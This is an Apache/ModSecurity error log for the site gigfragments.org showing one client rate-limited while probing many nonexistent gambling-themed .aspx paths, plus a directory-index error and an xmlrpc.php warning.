[Mon Mar 02 20:53:12.022976 2026] [:error] [pid 28847:tid 28865] [client 51.83.9.208:37050] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aaWIOJ9xbBq8VfeqVDY_EgAAANA"]
[Mon Mar 02 20:53:14.125019 2026] [:error] [pid 28847:tid 28858] [client 51.83.9.208:37060] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aaWIOp9xbBq8VfeqVDY_HgAAAMk"]
[Mon Mar 02 20:53:16.965204 2026] [:error] [pid 59734:tid 59737] [client 51.83.9.208:37064] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aaWIPJeWQx7ZQG9NybEkPAAAAUE"]
[Mon Mar 02 20:53:18.992408 2026] [:error] [pid 59701:tid 59711] [client 51.83.9.208:54446] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aaWIPuUmTDVso96U9_LTXQAAAQc"]
[Mon Mar 02 20:53:21.013022 2026] [:error] [pid 59602:tid 59684] [client 51.83.9.208:54460] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aaWIQTMtSo_Fr0lHnSZk-wAAAJM"]
[Mon Mar 02 20:53:23.282469 2026] [:error] [pid 28847:tid 28872] [client 51.83.9.208:54468] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aaWIQ59xbBq8VfeqVDY_MQAAANc"]
[Mon Mar 02 20:53:25.230041 2026] [:error] [pid 28847:tid 28860] [client 51.83.9.208:54476] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aaWIRZ9xbBq8VfeqVDY_NAAAAMs"]
[Mon Mar 02 20:53:27.278057 2026] [:error] [pid 28847:tid 28863] [client 51.83.9.208:54480] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aaWIR59xbBq8VfeqVDY_NwAAAM4"]
[Mon Mar 02 20:53:29.170256 2026] [:error] [pid 28847:tid 28873] [client 51.83.9.208:60610] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aaWISZ9xbBq8VfeqVDY_OAAAANg"]
[Mon Mar 02 20:53:31.021608 2026] [:error] [pid 59701:tid 59723] [client 51.83.9.208:60626] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aaWIS-UmTDVso96U9_LTaQAAARM"]
[Mon Mar 02 20:53:33.152976 2026] [:error] [pid 59701:tid 59711] [client 51.83.9.208:60632] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aaWITeUmTDVso96U9_LTdQAAAQc"]
[Mon Mar 02 20:53:35.139785 2026] [:error] [pid 28847:tid 28863] [client 51.83.9.208:60636] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aaWIT59xbBq8VfeqVDY_VgAAAM4"]
[Mon Mar 02 20:53:36.977125 2026] [:error] [pid 59600:tid 59609] [client 51.83.9.208:60638] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aaWIUIQ5lE4yocV9IBdV_gAAAAA"]
[Mon Mar 02 20:53:39.040612 2026] [:error] [pid 28847:tid 28873] [client 51.83.9.208:46818] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aaWIU59xbBq8VfeqVDY_YQAAANg"]
[Mon Mar 02 20:53:41.159408 2026] [:error] [pid 59701:tid 59714] [client 51.83.9.208:46834] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aaWIVeUmTDVso96U9_LTkgAAAQo"]
[Mon Mar 02 20:53:43.310474 2026] [:error] [pid 59701:tid 59716] [client 51.83.9.208:46838] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaWIV-UmTDVso96U9_LTmgAAAQw"]
[Mon Mar 02 20:53:45.250971 2026] [:error] [pid 28847:tid 28850] [client 51.83.9.208:46854] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aaWIWZ9xbBq8VfeqVDY_bwAAAME"]
[Mon Mar 02 20:53:47.222047 2026] [:error] [pid 59600:tid 59613] [client 51.83.9.208:46860] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aaWIW4Q5lE4yocV9IBdWDgAAAAQ"]
[Mon Mar 02 20:53:49.300107 2026] [:error] [pid 59734:tid 59749] [client 51.83.9.208:54922] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aaWIXZeWQx7ZQG9NybEkggAAAU0"]
[Mon Mar 02 20:53:51.026876 2026] [:error] [pid 59600:tid 59620] [client 51.83.9.208:54934] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aaWIX4Q5lE4yocV9IBdWGgAAAAs"]
[Mon Mar 02 20:53:53.054053 2026] [:error] [pid 28847:tid 28872] [client 51.83.9.208:54938] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aaWIYZ9xbBq8VfeqVDY_dAAAANc"]
[Mon Mar 02 20:53:55.044597 2026] [:error] [pid 59600:tid 59631] [client 51.83.9.208:54946] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aaWIY4Q5lE4yocV9IBdWKwAAABY"]
[Mon Mar 02 20:53:57.169350 2026] [:error] [pid 59600:tid 59618] [client 51.83.9.208:54958] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aaWIZYQ5lE4yocV9IBdWOwAAAAk"]
[Mon Mar 02 20:53:59.087422 2026] [:error] [pid 59601:tid 59654] [client 51.83.9.208:59914] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aaWIZ8Q1lXfvWN0-ZQmOmAAAAFA"]
[Mon Mar 02 20:54:35.287321 2026] [:error] [pid 28847:tid 28871] [client 51.83.9.208:59920] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aaWIi59xbBq8VfeqVDY_6QAAANY"]
[Mon Mar 02 20:54:37.252520 2026] [:error] [pid 28847:tid 28865] [client 51.83.9.208:39016] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aaWIjZ9xbBq8VfeqVDY_8gAAANA"]
[Mon Mar 02 20:54:39.376587 2026] [:error] [pid 59602:tid 59671] [client 51.83.9.208:50872] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaWIjzMtSo_Fr0lHnSZloAAAAIY"]
[Mon Mar 02 20:54:41.474926 2026] [:error] [pid 59734:tid 59742] [client 51.83.9.208:50880] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aaWIkZeWQx7ZQG9NybEkqwAAAUY"]
[Mon Mar 02 20:54:43.559359 2026] [:error] [pid 59734:tid 59744] [client 51.83.9.208:50886] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaWIk5eWQx7ZQG9NybEksgAAAUg"]
[Mon Mar 02 20:54:45.406984 2026] [:error] [pid 28847:tid 28855] [client 51.83.9.208:50896] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aaWIlZ9xbBq8VfeqVDY__gAAAMY"]
[Mon Mar 02 20:54:47.380550 2026] [:error] [pid 59701:tid 59726] [client 51.83.9.208:50910] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aaWIl-UmTDVso96U9_LTzAAAARY"]
[Mon Mar 02 20:54:49.420885 2026] [:error] [pid 59600:tid 59612] [client 51.83.9.208:51206] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaWImYQ5lE4yocV9IBdWqQAAAAM"]
[Mon Mar 02 20:54:51.471075 2026] [:error] [pid 28847:tid 28862] [client 51.83.9.208:51216] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aaWIm59xbBq8VfeqVDZADwAAAM0"]
[Mon Mar 02 20:54:53.337638 2026] [:error] [pid 59600:tid 59628] [client 51.83.9.208:51224] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aaWInYQ5lE4yocV9IBdWvAAAABM"]
[Mon Mar 02 20:54:55.243867 2026] [:error] [pid 28847:tid 28851] [client 51.83.9.208:51240] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aaWIn59xbBq8VfeqVDZAHAAAAMI"]
[Mon Mar 02 20:54:57.271214 2026] [:error] [pid 59602:tid 59671] [client 51.83.9.208:51254] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aaWIoTMtSo_Fr0lHnSZltwAAAIY"]
[Mon Mar 02 20:54:59.316731 2026] [:error] [pid 59734:tid 59757] [client 51.83.9.208:58360] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aaWIo5eWQx7ZQG9NybEktwAAAVU"]
[Mon Mar 02 20:55:01.298935 2026] [:error] [pid 28847:tid 28852] [client 51.83.9.208:58368] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aaWIpZ9xbBq8VfeqVDZAOAAAAMM"]
[Mon Mar 02 20:55:03.333002 2026] [:error] [pid 59734:tid 59749] [client 51.83.9.208:58380] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aaWIp5eWQx7ZQG9NybEkvAAAAU0"]
[Mon Mar 02 20:55:05.231901 2026] [:error] [pid 59600:tid 59627] [client 51.83.9.208:58394] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aaWIqYQ5lE4yocV9IBdW1wAAABI"]
[Mon Mar 02 20:55:07.281460 2026] [:error] [pid 59602:tid 59665] [client 51.83.9.208:58398] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aaWIqzMtSo_Fr0lHnSZlxgAAAIA"]
[Mon Mar 02 20:55:09.263014 2026] [:error] [pid 59600:tid 59611] [client 51.83.9.208:53896] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aaWIrYQ5lE4yocV9IBdW4QAAAAI"]
[Mon Mar 02 20:55:11.297356 2026] [:error] [pid 59600:tid 59626] [client 51.83.9.208:53906] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aaWIr4Q5lE4yocV9IBdW5wAAABE"]
[Mon Mar 02 20:55:13.262847 2026] [:error] [pid 59600:tid 59620] [client 51.83.9.208:53914] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aaWIsYQ5lE4yocV9IBdW9wAAAAs"]
[Mon Mar 02 20:55:15.440868 2026] [:error] [pid 28847:tid 28867] [client 51.83.9.208:53926] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aaWIs59xbBq8VfeqVDZAcAAAANI"]
[Mon Mar 02 20:55:17.479752 2026] [:error] [pid 59600:tid 59622] [client 51.83.9.208:53940] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aaWItYQ5lE4yocV9IBdXCgAAAA0"]
[Mon Mar 02 20:55:19.225152 2026] [:error] [pid 59600:tid 59625] [client 51.83.9.208:38692] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaWIt4Q5lE4yocV9IBdXEQAAABA"]
[Mon Mar 02 20:55:21.130146 2026] [:error] [pid 59600:tid 59629] [client 51.83.9.208:38698] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aaWIuYQ5lE4yocV9IBdXFQAAABQ"]
[Mon Mar 02 20:55:23.145049 2026] [:error] [pid 59734:tid 59742] [client 51.83.9.208:38702] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aaWIu5eWQx7ZQG9NybEkygAAAUY"]
[Mon Mar 02 20:55:25.062886 2026] [:error] [pid 59600:tid 59614] [client 51.83.9.208:38716] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aaWIvYQ5lE4yocV9IBdXKQAAAAU"]
[Mon Mar 02 20:55:27.082457 2026] [:error] [pid 59701:tid 59722] [client 51.83.9.208:38718] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aaWIv-UmTDVso96U9_LT7AAAARI"]
[Mon Mar 02 20:55:28.925259 2026] [:error] [pid 59602:tid 59689] [client 51.83.9.208:38310] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaWIwDMtSo_Fr0lHnSZl6AAAAJg"]
[Mon Mar 02 20:55:30.815922 2026] [:error] [pid 59600:tid 59619] [client 51.83.9.208:38312] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aaWIwoQ5lE4yocV9IBdXMAAAAAo"]
[Mon Mar 02 22:29:26.206368 2026] [autoindex:error] [pid 28847:tid 28856] [client 161.97.112.146:61815] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Mar 02 22:54:08.873243 2026] [:error] [pid 59701:tid 59708] [client 92.189.241.61:62638] [client 92.189.241.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.189.241.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaWkkOUmTDVso96U9_LwYwAAAQQ"]
